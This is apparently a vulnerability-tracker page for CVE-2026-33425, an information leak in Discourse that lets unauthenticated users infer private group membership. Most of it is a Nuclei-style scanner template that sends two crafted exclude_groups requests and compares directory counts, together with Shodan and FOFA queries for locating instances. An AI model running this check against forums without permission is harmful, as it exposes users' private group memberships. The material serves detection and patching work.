CVE-2026-33425: Discourse - Private Group Membership Inference via exclude_groups

2026-10-15 PoC Public

Description

Discourse < 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contains an information disclosure caused by unauthenticated users observing directory results changes with the exclude_groups parameter, letting attackers determine private group membership, exploit requires public access to user directory.

Details

CVE
CVE-2026-33425 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-33425

info:
  name: Discourse - Private Group Membership Inference via exclude_groups
  author: str4k3r
  severity: medium
  description: |
    Discourse < 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contains an information disclosure caused by unauthenticated users observing directory results changes with the exclude_groups parameter, letting attackers determine private group membership, exploit requires public access to user directory.
  impact: |
    Unauthenticated attackers can determine private group membership, potentially exposing sensitive user information.
  remediation: |
    Update to versions 2026.3.0-latest.1, 2026.2.1, or 2026.1.2 or later; alternatively, disable public access to user directory.
  reference:
    - https://github.com/discourse/discourse/security/advisories/GHSA-r6rh-xvf5-r5f2
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33425
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-33425
    epss-score: 0.00346
    epss-percentile: 0.26262
    cwe-id: CWE-203
  metadata:
    verified: true
    max-request: 2
    vendor: discourse
    product: discourse
    shodan-query: http.component:"discourse"
    fofa-query: body="/assets/discourse"
  tags: cve,cve2026,discourse,info-disclosure,unauth

variables:
  ghost: "{{rand_base(8, 'acfhjnprx')}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /directory_items.json?period=all&order=likes_received&page=0&exclude_groups={{ghost}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'regex("\"total_rows_directory_items\":[0-9]+", body)'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: basetotal
        group: 1
        internal: true
        regex:
          - '"total_rows_directory_items":([0-9]+)'

  - raw:
      - |
        GET /directory_items.json?period=all&order=likes_received&page=0&exclude_groups=admins%7Cmoderators%7Cstaff%7Ctrust_level_4 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - '!regex("total_rows_directory_items.:" + basetotal + "[,}]", body)'
        condition: and
# digest: 4a0a0047304502206bb5c25ec83db6a1709d35c7d9d3eedbccbf4629566441c3ebbf1f0aff5313a6022100fb747d92669326bf20151e3deb84c50e7df53206bf1e3d266f70e948d3003562:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life